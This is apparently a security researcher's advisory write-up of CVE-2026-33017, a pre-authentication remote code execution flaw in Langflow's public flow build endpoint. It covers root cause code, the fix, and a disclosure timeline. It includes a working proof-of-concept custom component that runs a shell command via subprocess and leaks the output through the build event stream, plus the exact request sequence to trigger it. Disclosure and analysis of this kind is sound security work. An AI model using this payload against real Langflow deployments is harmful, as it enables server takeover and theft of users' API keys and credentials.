CVE-2026-33017: Pre-Auth RCE in Langflow via Public Flow Build
Overview
| CVE | CVE-2026-33017 |
| Advisory | GHSA-vwmf-pq79-vjvx |
| Components | src/backend/base/langflow/api/v1/chat.py (build_public_tmp) and src/lfx/src/lfx/custom/validate.py |
| Affected | Langflow versions prior to 1.9.0 (GHSA header lists ≤ 1.8.2, CNA record covers versions prior to 1.9.0, verified on 1.8.4) |
| Fixed | Langflow 1.9.0 (PR #12160, commit 73b6612e) |
| Class | CWE-306 (Missing Authentication for Critical Function), CWE-94 (Code Injection), CWE-95 (Eval Injection) |
| CVSS v4.0 | 9.3 (Critical) — CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:L/SI:L/SA:L |
| Reporter credit | Lukas Johannes Moeller (@JohannesLks), alongside independent reporters in the vendor advisory |
TL;DR
Langflow exposes POST /api/v1/build_public_tmp/{flow_id}/flow so visitors can run shared public flows without logging in. Before Langflow 1.9.0, that endpoint also accepted an optional data field in the request body and forwarded it to start_flow_build(). When data was present, Langflow constructed the execution graph from the caller's JSON payload instead of loading the stored flow definition from the database.
In Langflow, custom components carry raw Python source in their code template field and are instantiated via unsandboxed exec(). Any unauthenticated client holding the UUID of a public flow could therefore submit a synthetic node definition and execute arbitrary Python in the Langflow server process.
This differs structurally from CVE-2025-3248, where /api/v1/validate/code lacked an authentication dependency. Because build_public_tmp is intentionally unauthenticated for shared playgrounds and embedded chat widgets, gating the route behind login would break its purpose. The broken boundary was trusting caller-supplied graph data on a public build path.
Root Cause
Compare the public build route in src/backend/base/langflow/api/v1/chat.py with the authenticated /build/{flow_id}/flow handler. Rather than requiring CurrentActiveUser, build_public_tmp verified only that flow_id existed in the database with access_type == PUBLIC, resolved owner_user, and passed the request's data model directly into start_flow_build():
@router.post("/build_public_tmp/{flow_id}/flow")
async def build_public_tmp(
*,
background_tasks: LimitVertexBuildBackgroundTasks,
flow_id: uuid.UUID,
inputs: Annotated[InputValueRequest | None, Body(embed=True)] = None,
data: Annotated[FlowDataRequest | None, Body(embed=True)] = None,
...
):
client_id = request.cookies.get("client_id")
owner_user, new_flow_id = await verify_public_flow_and_get_user(
flow_id=flow_id, client_id=client_id
)
job_id = await start_flow_build(
flow_id=new_flow_id,
background_tasks=background_tasks,
inputs=inputs,
data=data,
current_user=owner_user,
...
)
Downstream in create_graph(), a non-None data argument selects build_graph_from_data() over build_graph_from_db(). Vertex initialization then extracts each node's code string and compiles it without AST restrictions or sandboxing:
start_flow_build(data=...)
-> generate_flow_events() -> create_graph()
-> build_graph_from_data() -> Graph.from_payload()
-> _instantiate_components_in_vertices()
-> instantiate_class() -> eval_custom_component_code()
-> validate.create_class()
-> prepare_global_scope() # importlib.import_module() + exec()
-> build_class_constructor() # exec(compiled_class, exec_globals)
Inside src/lfx/src/lfx/custom/validate.py, prepare_global_scope() imports every requested Python module via importlib.import_module() and executes top-level statements (Assign, FunctionDef, ClassDef) with exec(). Both module-level assignments and class-body expressions run during graph construction, before any flow node method is invoked.
Trigger and In-Band Output Exfiltration
Exploitation requires no file drops or outbound callbacks. If a CustomComponent executes a command at class-definition time and raises an exception containing the result, Langflow serializes that exception into the job's Server-Sent Events (SSE) build stream:
import subprocess
from langflow.custom import CustomComponent
class MaliciousComponent(CustomComponent):
_out = subprocess.check_output(
"id", shell=True, stderr=subprocess.STDOUT
).decode().strip()
raise Exception(f"RCE_OUTPUT: {_out}")
Submitting that node inside data.nodes to POST /api/v1/build_public_tmp/{flow_id}/flow with an arbitrary client_id cookie queues a build job and returns job_id. Reading GET /api/v1/build_public_tmp/{job_id}/events with the same client_id cookie streams back the error event containing RCE_OUTPUT.
Verification excerpt against docker.io/langflowai/langflow:1.8.4:
[*] POST http://localhost:7860/api/v1/build_public_tmp/66e4af5b-.../flow (no auth)
[+] Build job queued: 32e8423f-1cc4-428a-9ece-86cb253de8f9
[*] GET http://localhost:7860/api/v1/build_public_tmp/32e8423f-.../events (SSE)
[+] COMMAND OUTPUT:
uid=1000(user) gid=0(root) groups=0(root)
Reachability and the 1.8.x Release Gap
Two deployment conditions govern real-world exposure:
- Public flow prerequisite: The instance must host at least one flow marked
PUBLIC, and the attacker needs its UUID. Public flows back Langflow's shareable playground links and embedded chat widgets, which placeflow_iddirectly in client-facing URLs. - Relationship to
AUTO_LOGIN: Pre-2.0 Langflow defaults toAUTO_LOGIN=true, which already hands an unauthenticated caller a superuser token at/api/v1/auto_login.CVE-2026-33017breaks the boundary that matters in hardened deployments where operators disabledAUTO_LOGINto require authentication, yet shared one or more public flows.
Version tracking also had a subtle gap during the 1.8.x cycle. Commit 73b6612e landed on main on March 13, 2026, and GHSA-vwmf-pq79-vjvx was published on March 16 listing <= 1.8.2 as affected and >= 1.9.0 as patched. Subsequent 1.8.3 (March 26) and 1.8.4 (April 1) point releases did not backport that commit, so 1.8.x deployments stayed vulnerable until 1.9.0 shipped on April 14, 2026. The official CNA CVE record reflects the full < 1.9.0 range.
Impact
- Unauthenticated Python and OS command execution as the Langflow server process, running under the public flow owner's application context.
- Direct access to environment variables, LLM API keys, vector-database credentials, and stored flows belonging to all users on the instance.
- Full integrity and availability impact on the Langflow service and any host or container resources reachable from its runtime account.
Fix
Langflow 1.9.0 (PR #12160) removed data from build_public_tmp and hardcoded data=None in the call to start_flow_build():
job_id = await start_flow_build(
flow_id=new_flow_id,
background_tasks=background_tasks,
inputs=inputs,
data=None, # Always None - public flows load from database only
files=files,
...
)
With data=None, create_graph() always takes the build_graph_from_db() path and loads the stored flow definition for the verified public flow.
Upgrading to 1.9.0 or later closes external graph injection on build_public_tmp. Operators should still keep in mind that Langflow executes custom component Python code without a sandbox by design: a public flow runs whatever component code an authenticated author saved in the database.
Disclosure
Langflow published GHSA-vwmf-pq79-vjvx (CVE-2026-33017) in March 2026 and shipped the fix in version 1.9.0 on April 14, 2026. I independently identified and verified the build_public_tmp data-override path on Langflow 1.8.4 during an April 2026 audit of the 1.8.x release line, and the maintainers credited @JohannesLks alongside the other independent reporters on the advisory.